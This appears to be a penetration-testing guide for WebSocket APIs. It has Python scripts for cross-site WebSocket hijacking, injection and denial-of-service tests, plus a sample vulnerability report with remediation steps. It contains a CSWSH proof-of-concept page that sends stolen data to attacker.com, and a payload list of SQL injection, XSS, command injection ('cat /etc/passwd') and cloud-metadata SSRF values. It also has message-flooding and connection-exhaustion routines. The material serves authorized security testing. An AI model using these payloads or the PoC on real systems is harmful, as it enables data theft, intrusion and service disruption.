Tests WebSocket API implementations for missing upgrade-handshake authentication, Cross-Site WebSocket Hijacking (CSWSH), message injection, insufficient input validation, message-flooding DoS, and information leakage, using Burp Suite's WebSocket interception and the wscat CLI to craft malicious payloads. Use for real-time API penetration testing or CSWSH/authorization-bypass assessments on WebSocket channels.
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name
testing-websocket-api-security
description
Tests WebSocket API implementations for missing upgrade-handshake authentication, Cross-Site WebSocket Hijacking (CSWSH), message injection, insufficient input validation, message-flooding DoS, and information leakage, using Burp Suite's WebSocket interception and the wscat CLI to craft malicious payloads. Use for real-time API penetration testing or CSWSH/authorization-bypass assessments on WebSocket channels.
asyncdeftest_cswsh():
"""Test for Cross-Site WebSocket Hijacking vulnerability."""# CSWSH occurs when the WebSocket server does not validate the Origin header# An attacker's website can connect to the legitimate WebSocket and steal data
origins_to_test = [
None, # No Origin header"https://evil.com", # Attacker domain"https://target-api.example.com.evil.com", # Subdomain confusion"null", # Null origin (sandboxed iframe)"https://target-api.example.com", # Legitimate origin"http://target-api.example.com", # HTTP downgrade
]
print("=== CSWSH Testing ===\n")
for origin in origins_to_test:
try:
headers = {"Authorization": AUTH_TOKEN}
if origin:
headers["Origin"] = origin
asyncwith websockets.connect(WS_URL, extra_headers=headers) as ws:
# Try to receive data that should be restrictedawait ws.send(json.dumps({"type": "get_messages"}))
resp = await asyncio.wait_for(ws.recv(), timeout=5)
if origin and origin != "https://target-api.example.com":
print(f"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)")
else:
print(f"[OK] Origin '{origin}' -> Accepted (legitimate)")
except websockets.exceptions.InvalidStatusCode as e:
print(f"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})")
except Exception as e:
print(f"[ERROR] Origin '{origin}' -> {e}")
asyncio.run(test_cswsh())
# PoC HTML page for CSWSH exploitation
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// This page, hosted on attacker.com, connects to the target WebSocket
// If the server doesn't validate Origin, the victim's browser will
// send cookies/credentials and the attacker receives the data
var ws = new WebSocket("wss://target-api.example.com/ws");
ws.onopen = function() {
console.log("Connected to target WebSocket");
ws.send(JSON.stringify({type: "get_messages"}));
ws.send(JSON.stringify({type: "get_user_data"}));
};
ws.onmessage = function(event) {
console.log("Stolen data:", event.data);
// Exfiltrate to attacker server
fetch("https://attacker.com/collect", {
method: "POST",
body: event.data
});
};
</script>
<p>Loading... (CSWSH attack in progress)</p>
</body>
</html>
"""
Step 4: WebSocket Message Injection Testing
asyncdeftest_ws_injection():
"""Test WebSocket messages for injection vulnerabilities."""
INJECTION_PAYLOADS = {
"sql": [
{"type": "search", "query": "' OR '1'='1"},
{"type": "search", "query": "'; DROP TABLE messages;--"},
{"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
],
"nosql": [
{"type": "search", "query": {"$ne": ""}},
{"type": "get_user", "filter": {"$gt": ""}},
],
"xss": [
{"type": "send_message", "content": "<script>alert('xss')</script>"},
{"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
{"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
],
"command": [
{"type": "process", "file": "test; cat /etc/passwd"},
{"type": "convert", "input": "test | id"},
],
"ssrf": [
{"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
{"type": "webhook", "callback": "http://localhost:6379/"},
],
"overflow": [
{"type": "send_message", "content": "A" * 100000},
{"type": "search", "query": "B" * 1000000},
],
}
asyncwith websockets.connect(WS_URL,
extra_headers={"Authorization": AUTH_TOKEN}) as ws:
for category, payloads in INJECTION_PAYLOADS.items():
for payload in payloads:
try:
await ws.send(json.dumps(payload))
resp = await asyncio.wait_for(ws.recv(), timeout=5)
# Analyze response for injection indicators
resp_lower = resp.lower()
indicators = []
ifany(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
indicators.append("SQL error")
ifany(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
indicators.append("Command output")
ifany(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
indicators.append("SSRF data")
if"script"in resp_lower and"xss"notin category:
indicators.append("Reflected XSS")
if indicators:
print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
eliflen(resp) > 10000:
print(f"[OVERFLOW] Large response: {len(resp)} bytes")
except asyncio.TimeoutError:
passexcept websockets.exceptions.ConnectionClosed:
print(f"[CRASH] Connection closed after {category} payload")
# Reconnectbreak
asyncio.run(test_ws_injection())
Step 5: Denial-of-Service Testing
asyncdeftest_ws_dos():
"""Test WebSocket for DoS vulnerabilities."""print("=== WebSocket DoS Testing ===\n")
# Test 1: Message floodingasyncdefflood_test():
asyncwith websockets.connect(WS_URL,
extra_headers={"Authorization": AUTH_TOKEN}) as ws:
count = 0
start = time.time()
for i inrange(10000):
try:
await ws.send(json.dumps({"type": "ping", "id": i}))
count += 1except websockets.exceptions.ConnectionClosed:
break
elapsed = time.time() - start
print(f" Flood test: {count} messages in {elapsed:.1f}s ({count/elapsed:.0f} msg/s)")
await flood_test()
# Test 2: Large messageasyncdeflarge_message_test():
sizes = [1024, 10240, 102400, 1024000, 10240000] # 1KB to 10MBasyncwith websockets.connect(WS_URL,
extra_headers={"Authorization": AUTH_TOKEN},
max_size=20*1024*1024) as ws:
for size in sizes:
try:
large_msg = json.dumps({"type": "data", "payload": "A" * size})
await ws.send(large_msg)
resp = await asyncio.wait_for(ws.recv(), timeout=5)
print(f" Large message ({size} bytes): Accepted")
except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
print(f" Large message ({size} bytes): Rejected/Disconnected")
breakawait large_message_test()
# Test 3: Connection exhaustionasyncdefconnection_exhaustion():
connections = []
for i inrange(100):
try:
ws = await websockets.connect(WS_URL,
extra_headers={"Authorization": AUTH_TOKEN})
connections.append(ws)
except Exception:
breakprint(f" Connection exhaustion: {len(connections)} concurrent connections established")
for ws in connections:
await ws.close()
await connection_exhaustion()
asyncio.run(test_ws_dos())
Key Concepts
Term
Definition
WebSocket
Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake
CSWSH
Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials
Origin Validation
Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains
WebSocket Frame
The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data
Upgrade Handshake
HTTP request with Upgrade: websocket and Connection: Upgrade headers that establishes the WebSocket connection
Message Flooding
Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth)
Tools & Systems
Burp Suite Professional: Intercepts WebSocket handshakes and messages, allows message modification and replay
OWASP ZAP: WebSocket testing with message fuzzing, interception, and breakpoint capabilities
Context: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.
Approach:
Analyze the WebSocket handshake: connection established at wss://chat.example.com/ws with session cookie authentication
Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages
Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)
Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID
Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers
Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike
Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)
Pitfalls:
Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)
Only testing the initial handshake authentication without verifying ongoing message authorization
Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters
Not testing reconnection behavior (does the server re-validate authentication on reconnect?)
Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules
Output Format
## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft
**ID**: API-WS-001
**Severity**: High (CVSS 8.1)
**Affected Endpoint**: wss://chat.example.com/ws
**Description**:
The WebSocket server does not validate the Origin header during the
handshake. An attacker can host a malicious web page that opens a
WebSocket connection to the chat server using the victim's session
cookie. All messages, typing indicators, and presence data are
forwarded to the attacker in real time.
**Proof of Concept**:
Host the CSWSH PoC page on attacker.com. When a logged-in user
visits the page, the JavaScript establishes a WebSocket connection
to the chat server. The server authenticates the connection using
the victim's cookie and delivers all real-time chat data to the
attacker's connection.
**Impact**:
Real-time interception of all private messages, presence data,
and typing indicators for any user who visits the attacker's page.
**Remediation**:
1. Validate the Origin header against an allowlist of legitimate domains
2. Implement CSRF tokens in the WebSocket handshake URL
3. Use token-based authentication (Authorization header) instead of cookies for WebSocket
4. Implement per-message authorization checks, not just connection-level authentication
5. Add rate limiting on WebSocket message volume per connection
